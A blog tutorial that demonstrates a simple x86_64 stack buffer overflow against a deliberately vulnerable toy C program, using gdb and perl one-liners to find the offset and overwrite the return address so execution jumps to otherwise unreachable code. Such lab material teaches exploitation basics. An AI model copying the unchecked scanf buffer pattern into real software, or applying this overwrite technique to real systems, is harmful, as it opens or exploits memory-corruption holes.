Home A simple x86_64 stack based buffer overflow exploitation with gdb
Post
Cancel

A simple x86_64 stack based buffer overflow exploitation with gdb

Background

The basic idea behind a C buffer overflow is pretty simple. You have a buffer, a chunk of memory reserved for the purpose of storing data. To the outside of this on the stack (which grows downwards on x86 and x86_64, meaning as it gets larger the memory addresses go down), other pieces of the program are stored and manipulated. Generally, the idea as we are hacking is to redirect program flow as we see fit. Luckily for us, manipulation of the stack (stack “smashing”) can allow us to do this. Usually, you’ll want to gain privileges, usually by execution of shellcode - or whatever your end goal is, but for the purposes of this tutorial, we’ll just be redirecting program flow to code that would otherwise be unreachable to us (in practice, this can be virtually anything; even including the execution of instructions that were not formally there). This is done by writing past the end of the buffer and arbitrarily overwriting the stack.

Prerequisites

You’ll need some patience, a C compiler (I’m using gcc, I recommend you use that to follow along), as well as gdb (the debugger, giddabug as I lovingly call it), and a Linux machine or VM, and perl or python (this walkthrough uses perl).

My environment is:

1
2
3
4
gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2 
Linux jerkon 5.11.0-41-generic #45~20.04.1-Ubuntu SMP Wed Nov 10 10:20:10 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
This is perl 5, version 30, subversion 0 (v5.30.0) built for x86_64-linux-gnu-thread-multi

The Vulnerable Code

This program is vulnerable to a buffer overflow:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main() {
    char u[16];
    volatile int p = 0;
    scanf("%s", u);
    if (p != 0) {
        printf("How u do dat?\n");
    }
    else {
        printf("Nope.\n");
    }
    return 0;
}

Upon reading the code, you’ll notice that we allocate a char array u of 16 bytes, but then we use scanf to bring in user input, without checking the length of the data the user entered. Compile the code using the command gcc pwnme.c -o pwnme -fno-stack-protector -ggdb. You’ll need the -ggdb to be able to see the C source file in gdb, and -fno-stack-protector so stack smashing protection isn’t compiled into the binary for testing.

Exploitation

Simply run it and press a few (more than 16!) random keys, you’ll then be overwriting the stack. Unless the data entered is carefully picked, this usually just results in a crash, more often what’s known as a segmentation fault.

[marshall@jerkon]{11:14 PM}: [~/Hack/bof_wt] $ ./pwnme
abcdefghijklmnopqrstuvwxy and z
Nope.
Segmentation fault (core dumped)
[marshall@jerkon]{11:39 PM}: [~/Hack/bof_wt] $

You can now fire up gdb and pull in our binary using the command: gdb ./pwnme. You should then see some version information, and, assuming you compiled in debugging symbols with -ggdb earlier, you should see:

Reading symbols from ./pwnme...
(gdb)

One of the foremost things I usually do, just to get a feel for the code at hand, is enter disas main (short for disassemble). You can replace main with any function name called from within the code, including libraries used.

(gdb) disas main
Dump of assembler code for function main:
   0x0000000000001169 <+0>:     endbr64
   0x000000000000116d <+4>:     push   %rbp
   0x000000000000116e <+5>:     mov    %rsp,%rbp
   0x0000000000001171 <+8>:     sub    $0x20,%rsp
   0x0000000000001175 <+12>:    movl   $0x0,-0x14(%rbp)
   0x000000000000117c <+19>:    lea    -0x10(%rbp),%rax
   0x0000000000001180 <+23>:    mov    %rax,%rsi
   0x0000000000001183 <+26>:    lea    0xe7a(%rip),%rdi        # 0x2004
   0x000000000000118a <+33>:    mov    $0x0,%eax
   0x000000000000118f <+38>:    callq  0x1070 <__isoc99_scanf@plt>
   0x0000000000001194 <+43>:    mov    -0x14(%rbp),%eax
   0x0000000000001197 <+46>:    test   %eax,%eax
   0x0000000000001199 <+48>:    je     0x11a9 <main+64>
   0x000000000000119b <+50>:    lea    0xe65(%rip),%rdi        # 0x2007
   0x00000000000011a2 <+57>:    callq  0x1060 <puts@plt>
   0x00000000000011a7 <+62>:    jmp    0x11b5 <main+76>
   0x00000000000011a9 <+64>:    lea    0xe65(%rip),%rdi        # 0x2015
   0x00000000000011b0 <+71>:    callq  0x1060 <puts@plt>
   0x00000000000011b5 <+76>:    mov    $0x0,%eax
   0x00000000000011ba <+81>:    leaveq
   0x00000000000011bb <+82>:    retq
End of assembler dump.
(gdb)

Right off the bat, you should see a bunch of locations of various instruction sequences in memory.

You can get an idea of where the code you want to land at is by typing list 11 which should show you the C source 4 lines before and after line 11; where you want to land, at printf("How you do dat?\n");. Your gdb session should now look something like this:

(gdb) list 11
6       int main() {
7           char u[16];
8           volatile int p = 0;
9           scanf("%s", u);
10          if (p != 0) {
11              printf("How u do dat?\n");
12          }
13          else {
14              printf("Nope.\n");
15          }
(gdb)

We’ll now insert a breakpoint at line 10, the conditional check if (p != 0) that we want to circumvent.

(gdb) break 10
Breakpoint 1 at 0x1194: file pwnme.c, line 10.
(gdb)

You should also insert a breakpoint at line 11 so it will notify you when you land in the correct spot.

The next part takes a bit of trial and error, you’ll need to figure out how many A’s (hex 0x41) you can insert past the end of the buffer u until you fully overwrite the RIP address (return instruction pointer).

It should look something like this when you’ve found the max overwrite:

(gdb) r <<< $(perl -e 'print "A"x30')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/bof_wt/pwnme <<< $(perl -e 'print "A"x30')

Breakpoint 1, main () at pwnme.c:10
10          if (p != 0) {
(gdb) c
Continuing.
Nope.

Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb)

As you can see, we hit a segmentation fault and at the time of the fault, the RIP was pointed at 0x414141414141, a non-existent memory location. You can check this two ways:

(gdb) info reg
rax            0x0                 0
rbx            0x5555555551c0      93824992235968
rcx            0x7ffff7ece1e7      140737352884711
rdx            0x0                 0
rsi            0x55555555a2b0      93824992256688
rdi            0x7ffff7fab4c0      140737353790656
rbp            0x4141414141414141  0x4141414141414141
rsp            0x7fffffffe070      0x7fffffffe070
r8             0x6                 6
r9             0x7c                124
r10            0x7ffff7fa8be0      140737353780192
r11            0x246               582
r12            0x555555555080      93824992235648
r13            0x7fffffffe150      140737488347472
r14            0x0                 0
r15            0x0                 0
rip            0x414141414141      0x414141414141
eflags         0x10246             [ PF ZF IF RF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
(gdb) p/x $rip
$5 = 0x414141414141
(gdb)

Now that the program has been run, crashed, and left some registers behind for gdb to inspect, you should again run disas main and this time your memory locations should be prefixed with 0x5555555.

You can now run info breakpoints and you’ll see something like:

(gdb) info breakpoints
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x0000555555555194 in main at pwnme.c:10
        breakpoint already hit 1 time
2       breakpoint     keep y   0x000055555555519b in main at pwnme.c:11
(gdb)

So now you know that line 11 in the original C program corresponds to memory location 0x000055555555519b. You can view which exact instructions will be executed at that location too:

(gdb) x/i 0x000055555555519b
   0x55555555519b <main+50>:    lea    0xe65(%rip),%rdi        # 0x555555556007
(gdb)

By now you can probably see where this is headed. We’ll want to overwrite the return pointer with 0x55555555519b so that we skip past the p conditional.

You’ll need to recalculate the number of A’s as padding to use, it’s usually the number you used - 6.

Addresses in memory will be backward because of the endianness, so to illustrate this let us try:

(gdb) r <<< $(perl -e 'print "A"x24 . "\x66\x55\x44\x33\x22\x11"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/bof_wt/pwnme <<< $(perl -e 'print "A"x24 . "\x66\x55\x44\x33\x22\x11"')

Breakpoint 1, main () at pwnme.c:10
10          if (p != 0) {
(gdb) c
Continuing.
Nope.

Program received signal SIGSEGV, Segmentation fault.
0x0000112233445566 in ?? ()
(gdb) p/x $rip
$12 = 0x112233445566
(gdb)

We’re now ready to plug in our memory location 0x000055555555519b. It’s worth noting that the leading zeros don’t matter and should be omitted here. Also, if it were required to use 00 since this translates to NULL, and code execution stops if it hits a NULL character, you would need to find another way around using the existing instructions.

So the moment of truth, and to make this work you’ll need to change 0x55555555519b to wherever your compiler assigned the instruction in memory. It’s likely different from where mine did!

(gdb) r <<< $(perl -e 'print "A"x24 . "\x9b\x51\x55\x55\x55\x55";')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/bof_wt/pwnme <<< $(perl -e 'print "A"x24 . "\x9b\x51\x55\x55\x55\x55";')

Breakpoint 1, main () at pwnme.c:10
10          if (p != 0) {
(gdb) cont
Continuing.
Nope.

Breakpoint 2, main () at pwnme.c:11
11              printf("How u do dat?\n");
(gdb) cont
Continuing.
How u do dat?

Program received signal SIGBUS, Bus error.
main () at pwnme.c:17
17      }
(gdb)

Conclusion

Looks like we did it! We finally hit breakpoint #2 and were able to execute the instructions at 0x55555555519b, printing “How u do dat?”.

This buffer overflow was quite trivial, and most will require quite a bit more work to exploit. You should however now get a general concept, and learn some about gdb in the process.

If you have questions or need help, feel free to leave a comment, or email me!

This post is licensed under CC BY 4.0 by the author.

Exploit dev and vulnerabilty researcher for hire!

An Intermediate Iptables Configuration Walkthrough

Comments powered by Disqus.